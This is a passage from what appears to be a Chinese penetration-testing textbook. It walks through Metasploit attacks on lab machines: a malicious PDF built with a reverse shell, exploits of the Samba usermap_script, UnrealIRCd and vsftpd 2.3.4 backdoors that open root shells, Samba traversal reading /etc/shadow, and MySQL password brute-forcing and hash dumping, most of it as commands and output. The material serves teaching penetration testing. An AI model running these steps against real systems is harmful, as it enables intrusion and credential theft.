InitialAutoRunScript 'migrate -f'

[*] Session ID 5 (192.168.1.108:3333 -> 192.168.1.109:1115) processing 

InitialAutoRunScript 'migrate -f'

[*] Meterpreter session 6 opened (192.168.1.108:3333 -> 192.168.1.109:1121) 

at 2017-05-07 15:47:41 +0800

[*] Current server process: efgtslDysTpBSDF.exe (2512)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 3092

[*] Sending stage (45718 bytes) to 192.168.1.109

[*] Meterpreter session 7 opened (192.168.1.108:7777 -> 192.168.1.109:1132) 

at 2017-05-07 15:47:43 +0800

[*] Session ID 6 (192.168.1.108:3333 -> 192.168.1.109:1121) processing 

InitialAutoRunScript 'migrate -f'

[*] Session ID 7 (192.168.1.108:7777 -> 192.168.1.109:1132) processing 

InitialAutoRunScript 'migrate -f'

[*] Current server process: oMmhXajpVLwu.exe (2636)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 3208

[+] Successfully migrated to process 

[+] Successfully migrated to process




 
从以上输出信息中可以看到，browser_autopwn模块尝试与目标主机建立远程连接的过程。最后一行信息表示已成功迁移了进程。接下来，使用sessions命令查看或激活Meterpreter会话，具体如下：
 


msf5 auxiliary(browser_autopwn) > sessions 

Active sessions

===============

  Id    Type                    Information                  Connection

  --   --------                ----------         -----------------

  1   meterpreter java/java  Test @ aa-886okjm26fsw  192.168.1.108:7777 -> 

  192.168.1.109:1088 (192.168.1.109)

  2   meterpreter java/java  Test @ aa-886okjm26fsw  192.168.1.108:7777 -> 

  192.168.1.109:1093 (192.168.1.109)

  3   meterpreter java/java  Test @ aa-886okjm26fsw  192.168.1.108:7777 -> 

  192.168.1.109:1104 (192.168.1.109)

  4   meterpreter java/java  Test @ aa-886okjm26fsw  192.168.1.108:7777 -> 

  192.168.1.109:1112 (192.168.1.109)

  5   meterpreter x86/win32  AA-886OKJM26FSW\Test @ AA-886OKJM26FSW  192.

  168.1.108:3333 -> 192.168.1.109:1115 (192.168.1.109)

  6   meterpreter x86/win32  AA-886OKJM26FSW\Test @ AA-886OKJM26FSW  192.

  168.1.108:3333 -> 192.168.1.109:1121 (192.168.1.109)

  7   meterpreter java/java  Test @ aa-886okjm26fsw  192.168.1.108:7777 -> 

  192.168.1.109:1132 (192.168.1.109)

msf5 auxiliary(browser_autopwn) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >




 
到此，已成功激活第一个会话。在该会话中可以做进一步攻击。
6.1.6　利用AdobeReader漏洞——CVE-2010-1240
 
Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器。基于Windows和Mac OS X的Adobe Reader和Acrobat 9.3.3之前版本的9.X版本，8.2.3之前的8.X版本不能限制Launch File警告对话框中文本域中的内容。远程攻击者可利用该漏洞欺骗用户执行PDF文档中的任意本地程序。下面介绍利用AdobeReader漏洞实施渗透攻击的方法。
 
【实例6-6】实施PDF文件攻击。具体操作步骤如下：
 
（1）选择渗透攻击模块。执行命令如下：
 


msf5 > use exploit/windows/fileformat/adobe_pdf_embedded_exe

msf5 exploit(adobe_pdf_embedded_exe) >




 
（2）查看配置选项参数。执行命令如下：
 


msf5 exploit(adobe_pdf_embedded_exe) > show options 

Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):

   Name        CurrentSetting      Required        Description

   ----       ---------------     ----------     -----------

   EXENAME                               no               The Name of payload exe.

   FILENAME        evil.pdf         no               The output filename.

   INFILENAME    /usr/share/metasploit-framework/data/exploits/CVE-2010-

   1240/template.pdf     yes        The Input PDF filename.

   LAUNCH_MESSAGE    To view the encrypted content please tick the "Do not 

   show this message again" box and press Open.    no         The message to 

   display in the File: area

Exploit target:

   Id  Name

   --  ----

   0   Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows 

   Vista/7 (English)




 
从以上的配置选项中可以看到，默认生成了一个名为evil.pdf的恶意文件，用于生成恶意文件的PDF文件名为template.pdf。用户也可以重新配置FILENAME和INFILENAME选项，指定自己希望目标用户看到的文件内容。
 
（3）这里使用默认配置，实施渗透攻击。执行命令如下：
 


msf5 exploit(adobe_pdf_embedded_exe) > exploit 

[*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-

1240/template.pdf'...

[*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/

template.pdf'...

[*] Using 'windows/meterpreter/reverse_tcp' as payload...

[*] Parsing Successful. Creating 'evil.pdf' file...

[+] evil.pdf stored at /root/.msf4/local/evil.pdf




 
从输出的信息中可以看出，已成功创建了恶意病毒文件evil.pdf，并且将其保存在了/root/.msf4/local下。当将该文件传输到目标主机上，当目标用户尝试打开该文件时，目标主机将会被攻击。
6.1.7　扫描配置不当的Microsoft SQL Server
 
配置不当的Microsoft SQL Server（MS SQL）通常是进入目标系统的第一个后门。实际上，很多系统管理员甚至不知道它们的工作站上安装有MS SQL服务器软件，因为它们经常作为其他常用软件（如Microsoft Visual Studio）安装的先决条件被自动地安装在系统上。在这些情况下安装的MS SQL服务器软件通常没有实际的用处，也很少安装补丁程序，甚至从未进行过配置，因此存在可利用的漏洞。
 
安装MS SQL后，默认监听在TCP端口1433上或使用随机动态的TCP端口。如果在随机的TCP端口上进行MS SQL监听，只需要简单地对UDP端口1433进行查询，便能获取这个随机的TCP端口号。当然，Metasploit中有一个模块mssql_ping可以实现该操作。
 
【实例6-7】下面演示使用mssql_ping实施扫描方法。具体操作步骤如下：
 
（1）搜索mssql_ping模块的完整路径，具体如下：
 


msf5 > search mssql_ping

Matching Modules

================

   Name              Disclosure Date         Rank   Check   Description

   --------         ---------------         -----  -----   ---------------

   auxiliary/scanner/mssql/mssql_ping     normal  Yes    MSSQL Ping Utility




 
（2）选择mssql_ping模块，并查看该模块的选项参数，具体如下：
 


msf5 > use auxiliary/scanner/mssql/mssql_ping 

msf5 auxiliary(mssql_ping) > show options 

Module options (auxiliary/scanner/mssql/mssql_ping):

   Name        Current Setting    Required      Description

   --------   ---------------    ---------     -------------

   PASSWORD                            no        The password for the specified 

   username

   RHOSTS                              yes       The target address range or CIDR 

   identifier

   THREADS                   1          yes       The number of concurrent threads

   USERNAME                   sa          no        The username to authenticate as

   USE_WINDOWS_AUTHENT    false    yes      Use windows authentification 

(requires DOMAIN option set)




 
（3）配置选项参数，具体如下：
 


msf5 auxiliary(mssql_ping) > set RHOSTS 192.168.1.103

RHOSTS => 192.168.1.103

msf5 auxiliary(mssql_ping) > set THREADS 255

THREADS => 255




 
由于mssql_ping使用UDP协议，在对大规模的子网进行扫描时，它的速度可能会很慢，这是因为要处理超时的问题。所以，这里通过设置线程为255来提高扫描速度。接下来即可实施扫描。
 
（4）启动扫描。执行命令如下：
 


msf5 auxiliary(mssql_ping) > run

[*] SQL Server information for 192.168.1.103:                #服务器地址

[+]    ServerName        = WIN-RKPKQFBLG6C                        #服务名称

[+]    InstanceName      = MSSQLSERVER                        #实例名称

[+]    IsClustered       = No

[+]    Version           = 9.00.1399.06                            #版本号

[+]    tcp               = 1433                                    #端口号

[+]    np                = \\WIN-RKPKQFBLG6C\pipe\sql\query

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，成功扫描出了MS SQL服务器的地址、实例名、版本号及服务器监听的端口。
6.2　Linux系统
 
Linux是一套免费使用和自由传播的类UNIX操作系统，是一个基于POSIX和UNIX的多用户、多任务、支持多线程和多CPU的操作系统。这种操作系统多用于服务器，所以用户会在该系统中安装各种服务，如Samba、FTP和MySQL等。一些低版本的服务中可能会存在各种漏洞，渗透测试者可利用这些漏洞实施渗透攻击。本节将介绍一些Linux系统下渗透攻击的实例。
6.2.1　利用Samba服务usermap_script漏洞
 
usermap_script漏洞是一个可执行命令漏洞。攻击者通过利用该漏洞，可以获取目标主机的Shell终端。该漏洞存在于Samba版本为3.0.20-2.0.25rc3的服务中。下面介绍利用Samba服务实施漏洞攻击的方法。
 
【实例6-8】利用Samba服务的usermap_script漏洞，对目标主机Metasploitable2实施渗透攻击。具体操作步骤如下：
 
（1）搜索usermap_script漏洞的完整路径。执行命令如下：
 


msf5 > search usermap_script

Matching Modules

================

   Name                  Disclosure Date        Rank      Check    Description

   ----------          ----------------       -----     ------   -----------

   exploit/multi/samba/usermap_script  2007-05-14    excellent  No Samba 

   "username map script" Command Execution




 
从输出的信息中可以看到，利用usermap_script漏洞的模块完整路径为exploit/multi/samba/usermap_script。接下来，即可使用该路径了。
 
（2）使用multi/samba/usermap_script模块，并查看该模块的选项参数。执行命令如下：
 


msf5 > use exploit/multi/samba/usermap_script

msf5 exploit(usermap_script) > show options 

Module options (exploit/multi/samba/usermap_script):

   Name       Current Setting  Required    Description

   -----    ----------------- ---------   -------------

   RHOSTS               yes       The target address range or CIDR identifier

   RPORT  139           yes       The target port (TCP)

Exploit target:

   Id  Name

   --  -----------------

   0   Automatic




 
从输出的信息中可以看到这里需要配置目标主机参数。
 
（3）配置RHOST选项。执行命令如下：
 


msf5 exploit(usermap_script) > set RHOSTS 192.168.1.102

RHOST => 192.168.1.102




 
（4）实施渗透攻击。执行命令如下：
 


msf5 exploit(usermap_script) > exploit 

[*] Started reverse TCP double handler on 192.168.1.108:4444 

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo eEWFVuPjULtuOBHL;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "eEWFVuPjULtuOBHL\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.1.108:4444 -> 192.168.1.102:

39638) at 2017-05-07 15:18:16 +0800




 
从输出的信息中可以看到已成功获取一个命令行Shell会话。此时可执行所有的Linux Shell命令。如果希望返回到MSF终端，使用Ctrl+Z命令可以将该会话放在后台运行，具体如下：
 


[*] Command shell session 1 opened (192.168.1.108:4444 -> 192.168.1.102:

39638) at 2017-05-07 15:18:16 +0800

^Z

Background session 1? [y/N]  y                        #确定将会话1放在后台

msf5 exploit(usermap_script) > sessions             #查看建立的会话

Active sessions

===============

  Id    Type       Information     Connection

  ---  ------     ------------    ------------

  1   shell unix                    192.168.1.108:4444 -> 192.168.1.102:39638 

  (192.168.1.102)




 
从显示的结果中可以看到，会话已成功放在后台运行，并且从Type类型列可以看到该会话为Shell unix。
6.2.2　IRC后台守护程序漏洞
 
IRC全名为Internet Relay Chat，是一款即时聊天工具，类似网络聊天室，但功能更强大。在irc3.2.8.1版本中，存在一个自动向其他正在监听状态中的端口发送一个紧跟AB信件的系统命令漏洞。因此，通过利用该漏洞，可以获取目标主机的Shell终端。
 
【实例6-9】在Metasploitable 2系统中，存在IRC漏洞。下面演示利用该漏洞对目标主机实施渗透攻击的方法。具体操作步骤如下：
 
（1）搜索irc3.2.8.1漏洞的模块。执行命令如下：
 


msf5 exploit(usermap_script) > search irc

Matching Modules

================

   Name            Disclosure Date        Rank    Check    Description

   ----            ---------------        ----    -----      ------------

   auxiliary/       2011-04-12            normal      No         Microsoft Windows

   dos/windows/                                         DNSAPI.dll LLMNR

   llmnr/ms11_030_dnsapi                             Buffer Underrun DoS

   exploit/linux/    2000-09-25        normal     No         LPRng use_syslog 

   misc/lprng_                                         Remote Format String

   format_string                                     Vulnerability

   exploit/multi/     2013-07-02        excellent Yes    Apache Struts 2

   http/struts_default                                DefaultActionMapper

   _action_mapper                                     Prefixes OGNL Code 

                                                       Execution

   exploit/multi/    2015-06-03        excellent Yes    SysAid Help Desk

   http/sysaid_                                         Administrator Portal

   auth_file_upload                                     Arbitrary File Upload

   exploit/multi/    2016-04-30        excellent Yes    Allwinner 3.4 Legacy

   local/allwinner_                                     Kernel Local Privilege

   backdoor                                             Escalation

   exploit/multi/    2015-04-27         excellent Yes    Legend Perl IRC Bot

   misc/legend_bot_exec                                 Remote Code Execution

   exploit/multi/    2009-11-02        excellent Yes    PHP IRC Bot pbot eval()

   misc/pbot_exec                                     Remote Code Execution

   exploit/multi/    2013-03-24        great    Yes        Ra1NX PHP Bot PubCall

   misc/ra1nx_pubcall_exec                             Authentication Bypass

                                                       Remote Code Execution

   exploit/multi/    2015-06-04        excellent Yes    w3tw0rk / Pitbul IRC

   misc/w3tw0rk_exec                                    Bot Remote Code Execution

   exploit/multi/    2015-12-04        excellent Yes    Xdh/LinuxNet Perlbot /

   misc/xdh_x_exec                                     fBot IRC Bot Remote

                                                     Code Execution

   exploit/osx/        2009-10-28       average       No    UFO: Alien Invasion

   misc/ufo_ai                                         IRC Client Buffer Overflow

   exploit/unix/        2010-06-12        excellent No    UnrealIRCD 3.2.8.1

   irc/unreal_ircd_3281_backdoor                     Backdoor Command Execution

   exploit/windows/    2003-10-13        normal       No    mIRC IRC URL Buffer

   browser/mirc_irc_url                                 Overflow

   exploit/windows/    2006-03-19         normal       No    MS06-013 Microsoft

   browser/ms06_013_createtextrange                     Internet Explorer

                                                     createTextRange() Code

                                                       Execution

   exploit/windows/    2011-02-07        great       No    EMC Replication

   emc/replication_manager_exec                         Manager Command Execution

   exploit/windows/    2008-10-02        normal         No    mIRC PRIVMSG Handling

   misc/mirc_privmsg_server                             Stack Buffer Overflow

   exploit/windows/    2009-03-17        normal        No    Talkative IRC v0.4.4.16

   misc/talkative_response                             Response Buffer Overflow

   exploit/windows/    2009-10-28        average   No        UFO: Alien Invasion IRC

   misc/ufo_ai                                         Client Buffer Overflow

   payload/cmd/                         normal      No        Unix Command Shell,

   unix/reverse_bash                                 Reverse TCP (/dev/tcp)

   post/multi/                        normal      No        Multi Gather IRSSI IRC

   gather/irssi_creds                                 Password(s)




 
从搜索结果中可以看到，用于攻击irc3.2.8.1的漏洞模块的完整路径是exploit/unix/irc/unreal_ircd_3281_backdoor。
 
（2）使用exploit/unix/irc/unreal_ircd_3281_backdoor模块，并查看该模块的配置选项参数。执行命令如下：
 


msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor 

msf5 exploit(unreal_ircd_3281_backdoor) > show options 

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required   Description

   ------  ---------------  --------   ------------

   RHOSTS                         yes       The target address range or CIDR 

   identifier

   RPORT  6667                    yes      The target port (TCP)

Exploit target:

   Id  Name

   --  --------------------------

   0   Automatic Target




 
从输出的信息中可以看到，这里需要配置RHOST选项。
 
（3）配置RHOST选项。具体如下：
 


msf5 exploit(unreal_ircd_3281_backdoor) > set RHOSTS 192.168.1.107

RHOST => 192.168.1.107




 
（4）实施渗透攻击。具体如下：
 


msf5 exploit(unreal_ircd_3281_backdoor) > exploit 

[*] Started reverse TCP double handler on 192.168.1.108:4444 

[*] Connected to 192.168.1.107:6667...

    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; 

    using your IP address instead

[*] Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo tt10ZuoP54IaMmAP;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "tt10ZuoP54IaMmAP\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.1.108:4444 -> 192.168.1.107:

37663) at 2017-05-07 10:29:43 +0800




 
从输出信息中可以看到，成功建立了一个命令行会话连接。接下来，可以通过执行一些命令来获取目标主机的信息。例如，查看目标主机系统信息，显示结果如下：
 


uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 

i686 GNU/Linux




 
从输出的信息中可以看到，目标主机的操作系统平台为Linux，版本内核为2.6.24。
6.2.3　Samba匿名共享目录可写入漏洞
 
渗透测试者通过利用Samba匿名共享目录可写入漏洞，可以遍历Samba CIFS服务的所有目录。下面介绍利用该漏洞实施渗透攻击的方法。
 
【实例6-10】利用Samba匿名共享目录可写入漏洞，对目标主机（Metasploitable 2）实施渗透工具。具体操作步骤如下：
 
（1）选择利用Samba匿名共享目录可写入漏洞的模块，即/admin/smb/samba_symlink_traversal。执行命令如下：
 


msf5 > use auxiliary/admin/smb/samba_symlink_traversal 

msf auxiliary(samba_symlink_traversal) >




 
（2）查看该模块的配置选项参数，具体如下：
 


msf5 auxiliary(samba_symlink_traversal) > show options 

Module options (auxiliary/admin/smb/samba_symlink_traversal):

   Name     Current Setting   Required    Description

   ------  ----------------  ---------   -------------

   RHOSTS                          yes         The target address range or CIDR 

   identifier

   RPORT            445               yes         Set the SMB service port

   SMBSHARE                       yes         The name of a writeable share on 

   the server

   SMBTARGET     rootfs            yes         The name of the directory that 

should point to the root filesystem




 
从输出信息中可以看到，以上有两个参数需要配置。其中，RHOSTS参数用来指定目标主机地址；SMBSHARE参数用来指定Samba服务器上一个可写的共享文件。当利用该漏洞攻击成功后，新创建的目录将链接到根文件系统。
 
（3）配置选项参数。在配置选项SMBSHARE之前，首先要从Samba服务器上找一个可写的共享文件。执行命令如下：
 


root@kali:~# smbclient -L //192.168.1.102

Enter root's password:                             #直接回车

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

    Sharename       ype       omment

    ---------      ---        -----------------

    print$         Disk       rinter Drivers

    tmp             Disk        h noes!

    opt             Disk  

    IPC$            IPC      PC Service (metasploitable server (Samba 3.0.20-

                            Debian))

    ADMIN$         IPC       PC Service (metasploitable server (Samba 3.0.20-

                            Debian))

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

    Server              Comment

    ---------          ----------------------------------------------

    METASPLOITABLE     metasploitable server (Samba 3.0.20-Debian)

    WIN-RKPKQFBLG6C 

    Workgroup           Master

    ---------          -------

    WORKGROUP          METASPLOITABLE




 
从输出的信息中可以看到有一个名为tmp的共享文件。接下来将指定该文件，具体配置如下：
 


msf5 auxiliary(samba_symlink_traversal) > set RHOSTS 192.168.1.102

RHOST => 192.168.1.102

msf5 auxiliary(samba_symlink_traversal) > set SMBSHARE tmp

SMBSHARE => tmp




 
此时，该模块的选项参数就配置完成了。
 
（4）启动渗透攻击。执行命令如下：
 


msf5 auxiliary(samba_symlink_traversal) > exploit 

[*] Connecting to the server...                    #连接到服务器

[*] Trying to mount writeable share 'tmp'...    #尝试挂载可写的共享文件tmp

[*] Trying to link 'rootfs' to the root filesystem...    #尝试链接到根文件系统

[*] Now access the following share to browse the root filesystem:

[*]     \\192.168.1.102\tmp\rootfs\                    #新创建了访问根文件系统的地址

[*] Auxiliary module execution completed        #攻击成功

msf5 auxiliary(samba_symlink_traversal) >




 
从输出的信息中可以看到，已成功链接到根文件系统。此时输入\\192.168.1.102\tmp\地址即可访问目标主机根文件系统下面的文件内容，具体如下：
 


root@kali:~# smbclient //192.168.1.102/tmp        #登录Samba服务器

Enter root's password:                             #直接回车

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

smb: \>




 
此时，表示已成功登录到Samba服务器。接下来切换到根文件系统中，查看其文件内容。例如，进入根文件系统的etc目录中，并查看其目录中的所有文件，具体如下：
 


smb: \> cd rootfs\etc                            #进入etc目录

smb: \rootfs\etc\> ls                            #查看目录中的文件

  .                              DR         0         Fri May 13 03:19:04 2016

  ..                             DR         0         Mon May 21 02:36:12 2012

  fstab                         R        534         Mon May 21 02:59:18 2012

  shadow                        R        1233    Thu May 12 21:01:38 2016

  lsb-release                  R         96         Tue Apr 15 13:04:52 2008

  gdm                            DR        0         Wed Mar 24 05:54:21 2010

  pam.conf                      R        552         Thu Apr 10 04:22:08 2008

  bash.bashrc                  R        1733    Tue Apr 15 11:36:26 2008

  modules                       R         208         Wed Mar 17 07:11:11 2010

  pango                         DR         0         Wed Mar 24 05:55:07 2010

  aliases.db                   R        12288    Thu Apr 29 04:43:03 2010

  php5                          DR          0          Mon May 14 12:32:06 2012

  motd.tail                    R        346      Wed Mar 17 06:59:33 2010

  gshadow-                     R         735      Fri Apr 16 17:18:16 2010

...




 
以上可查看目标主机上/etc目录下的所有文件。由于章节的关系，以上只显示了一部分。
6.2.4　渗透攻击FTP服务
 
FTP是一种文件传输服务器，专门提供传输文件的服务。对于一些公司，会通过搭建该服务来方便用户上传和下载文件。下面介绍利用Metasploit下的模块，对FTP服务实施渗透攻击。
 
1．是否允许匿名用户登录
 
在FTP服务中，默认匿名用户直接登录服务器。如果目标主机允许匿名登录，并且设置了访问权限的话，则渗透测试者可利用匿名用户登录的漏洞对目标主机实施攻击，如上传木马等。
 
【实例6-11】使用scanner/ftp/anonymous模块，探测目标主机上FTP服务是否允许匿名用户登录。具体操作步骤如下：
 
（1）选择scanner/ftp/anonymous模块，并查看该模块的选项参数。具体如下：
 


msf5 > use auxiliary/scanner/ftp/anonymous 

msf5 auxiliary(anonymous) > show options 

Module options (auxiliary/scanner/ftp/anonymous):



   Name         Current Setting      Required        Description

   --------    -------------         ------------     -----------------------

   FTPPASS     mozilla@example.com    no            The password for the specified

                                             username

   FTPUSER     anonymous               no            The username to authenticate as

   RHOSTS                           yes           The target address range or

                                             CIDR identifier

   RPORT       21                      yes           The target port (TCP)

   THREADS     1                       yes           The number of concurrent threads




 
（2）配置RHOSTS参数，具体如下：
 


msf5 auxiliary(anonymous) > set RHOSTS 192.168.1.101

RHOSTS => 192.168.1.101




 
（3）实施攻击，具体如下：
 


msf5 auxiliary(anonymous) > run

[+] 192.168.1.101:21 - Anonymous READ/WRITE (220 (vsFTPd 2.3.4))

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，目标主机允许匿名用户登录，而且匿名用户具有读和写的权限。换句话说，渗透测试者对远程的FTP系统具有完全的访问权限，可以上传任何文件或下载FTP服务器中共享的所有文件。
 
2．获取目标主机的root权限
 
在版本为vsftpd 2.3.4的FTP服务中存在漏洞，攻击者利用该漏洞，可以远程获取目标主机的root权限。在Metasploit中提供了可以利用该漏洞实施渗透攻击的模块vsftpd_234_backdoor。下面介绍使用vsftpd_234_backdoor模块实施渗透攻击的方法。具体操作步骤如下：
 
（1）获取模块的全路径。执行命令如下：
 


msf5 > search vsftpd

Matching Modules

================

   Name            Disclosure Date     Rank    Check    Description

   ------------    ----------          ----    ----    ---------------------

   exploit /unix/ftp/vsftpd_234_backdoor        2011-07-03                        excellent         No    VSFTPD v2.3.4 Backdoor        Command Execution




 
（2）选择vsftpd_234_backdoor模块，并查看该模块的选项参数。执行命令如下：
 


msf5 > use exploit/unix/ftp/vsftpd_234_backdoor 

msf5 exploit(vsftpd_234_backdoor) > show options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name          Current Setting    Required     Description

   -------    --------------     ---------    -----------

   RHOSTS                    yes         The target address range or CIDR identifier

   RPORT       21                 yes       The target port (TCP)

Exploit target:

   Id  Name

   --  -----------------

   0   Automatic




 
（3）配置选项参数，并实施渗透攻击。执行命令如下：
 


msf5 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.1.101

RHOST => 192.168.1.101

msf5 exploit(vsftpd_234_backdoor) > exploit 

[*] Banner: 220 (vsFTPd 2.3.4)

[*] USER: 331 Please specify the password.

[+] Backdoor service has been spawned, handling...

[+] UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.1.108:45249 -> 192.168.1.101:

         6200) at 2017-05-07 17:40:02 +0800




 
从输出的信息中可以看到，攻击主机成功利用目标主机上FTP服务的漏洞，获取到了一个命令行Shell会话。
6.2.5　渗透攻击MySQL数据库
 
MySQL是一种开放源代码的关系型数据库管理系统，其使用最常用的数据库管理语言——结构化查询语言（SQL）进行数据库管理。在一些服务器中，通常会使用MySQL数据库来保存数据。由于服务器的原因，用户不可能经常更新或修复该服务，所以在该服务器中可能会存在一些漏洞，用户可以暴力破解密码，并登录到该数据库系统中。下面介绍渗透攻击MySQL数据库服务的实例。
 
1．判断数据库是否允许外链
 
使用Metasploit的mysql_version模块，可以判断目标主机的MySQL数据库是否允许外链。如果允许外链，则可以显示该服务的版本信息；否则，不会显示其版本信息。
 
【实例6-12】探测MySQL数据库服务的版本。具体操作步骤如下：
 
（1）选择scanner/mysql/mysql_version模块。执行命令如下：
 


msf5 > use auxiliary/scanner/mysql/mysql_version 

msf5 auxiliary(mysql_version) >




 
（2）配置选项参数，具体如下：
 


msf5 auxiliary(mysql_version) > set RHOSTS 192.168.1.105

RHOSTS => 192.168.1.105




 
（3）实施攻击，具体如下：
 


msf5 auxiliary(mysql_version) > exploit 

[*] 192.168.1.105:3306 is running MySQL 5.1.66 (protocol 10)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，目标主机正运行着MySQL数据库服务，其版本为5.1.66。由此可以说明该服务允许外链。如果不允许外链，则获取版本信息失败，显示的信息如下：
 


msf5 auxiliary(mysql_version) > exploit 

[*] 192.168.1.105:3306 is running MySQL, but responds with an error: \x04Host '192.168.1.108' is not allowed to connect to this MySQL server

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
以上输出信息表示未能成功获取到版本信息。一般出现这种情况，是因为MySQL数据库服务不允许其他客户端连接。如果用户自己配置实验环境，登录MySQL数据库服务，然后设置允许所有主机连接即可，执行命令如下：
 


mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '用户密码' with GRANT OPTION;

Query OK, 0 rows affected (0.02 sec)


 
从输出的信息中可以看到已成功执行语句，此时可扫描到该服务的版本信息。
 
2．实施暴力破解密码
 
如果数据库允许外链，渗透测试者可以进行暴力密码破解。下面使用mysql_login模块实施暴力密码破解。
 
【实例6-13】使用mysql_login模块实施暴力密码破解。具体操作步骤如下：
 
（1）在实施密码破解之前，需要创建一个密码字典。默认情况下，mysql_login模块没有提供密码字典。本例中创建了一个名为passwords.txt的密码字典，并保存在/root下。
 
（2）选择mysql_login模块，并配置默认选项参数，具体如下：
 


msf5 auxiliary(mysql_version) > use auxiliary/scanner/mysql/mysql_login 

msf auxiliary(mysql_login) > set RHOSTS 192.168.1.105

RHOSTS => 192.168.1.105

msf5 auxiliary(mysql_login) > set PASS_FILE /root/passwords.txt

PASS_FILE => /root/passwords.txt

msf5 auxiliary(mysql_login) > set USERNAME root

USERNAME => root




 
在以上过程中，配置了MySQL数据库服务的地址、密码文件和用户名。默认情况下，安装MySQL数据库后会自动创建一个root用户，密码为空。但是一些用户可能会为root用户设置密码，所以这里选择破解该用户的密码。
 
（3）实施暴力破解。执行命令如下：
 


msf5 auxiliary(mysql_login) > exploit 

[*] 192.168.1.105:3306 MYSQL - Found remote MySQL version 5.1.66

[-] 192.168.1.105:3306 MYSQL - LOGIN FAILED: root:admin (Incorrect: Access denied for user 'root'@'192.168.1.108' (using password: YES))

[-] 192.168.1.105:3306 MYSQL - LOGIN FAILED: root:msfadmin (Incorrect: Access denied for user 'root'@'192.168.1.108' (using password: YES))

[-] 192.168.1.105:3306 MYSQL - LOGIN FAILED: root:mysql (Incorrect: Access denied for user 'root'@'192.168.1.108' (using password: YES))

[-] 192.168.1.105:3306 MYSQL - LOGIN FAILED: root:root (Incorrect: Access denied for user 'root'@'192.168.1.108' (using password: YES))

[-] 192.168.1.105:3306 MYSQL - LOGIN FAILED: root:toor (Incorrect: Access denied for user 'root'@'192.168.1.108' (using password: YES))

[+] 192.168.1.105:3306 MYSQL - Success: 'root:123456'

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，成功破解出了MySQL数据库root用户的密码，密码为123456。
 
3．枚举数据库信息
 
当用户暴力破解出root用户的密码后，即可使用该用户登录MySQL数据库服务。用户也可以通过使用该用户名和密码，尝试利用Metasploit中的mysql_enum模块来枚举数据库信息。
 
【实例6-14】使用mysql_enum模块来枚举数据库信息。具体操作步骤如下：
 
（1）使用mysql_enum模块，具体如下：
 


msf5 > use auxiliary/admin/mysql/mysql_enum 

msf5 auxiliary(mysql_enum) >




 
（2）配置选项参数，执行命令如下：
 


msf5 auxiliary(mysql_enum) > set RHOSTS 192.168.1.105

RHOST => 192.168.1.105

msf5 auxiliary(mysql_enum) > set USERNAME root

USERNAME => root

msf5 auxiliary(mysql_enum) > set PASSWORD 123456

PASSWORD => 123456




 
（3）开始枚举信息，具体如下：
 


msf5 auxiliary(mysql_enum) > exploit 

[*] Running MySQL Enumerator...

[*] Enumerating Parameters                                #枚举参数

[*]     MySQL Version: 5.1.66                                #数据库版本

[*]     Compiled for the following OS: redhat-linux-gnu    #操作系统

[*]     Architecture: x86_64                                #架构

[*]     Server Hostname: RHEL                            #主机名

[*]     Data Directory: /var/lib/mysql/                #数据目录

[*]     Logging of queries and logins: OFF

[*]     Old Password Hashing Algorithm OFF

[*]     Loading of local files: ON

[*]     Logins with old Pre-4.1 Passwords: OFF

[*]     Allow Use of symlinks for Database Files: DISABLED

[*]     Allow Table Merge: 

[*]     SSL Connection: DISABLED                        #SSL连接

[*] Enumerating Accounts:                            #枚举账户信息

[*]     List of Accounts with Password Hashes:            #账户的密码Hash值

[*]         User: root Host: localhost Password Hash: *6BB4837EB74329105

         EE4568DDA7DC67ED2CA2AD9

[*]         User: root Host: RHEL Password Hash: 

[*]         User: root Host: 127.0.0.1 Password Hash: 

[*]         User:  Host: localhost Password Hash: 

[*]         User:  Host: RHEL Password Hash: 

[*]         User: root Host: % Password Hash: *6BB4837EB74329105EE4568DDA

         7DC67ED2CA2AD9

[*]     The following users have GRANT Privilege:

[*]         User: root Host: localhost

[*]         User: root Host: RHEL

[*]         User: root Host: 127.0.0.1

[*]         User: root Host: %

[*]     The following users have CREATE USER Privilege:

[*]         User: root Host: localhost

[*]         User: root Host: RHEL

[*]         User: root Host: 127.0.0.1

[*]         User: root Host: %

...

[*]     The following accounts are not restricted by source:

[*]         User: root Host: %

[*] Auxiliary module execution completed




 
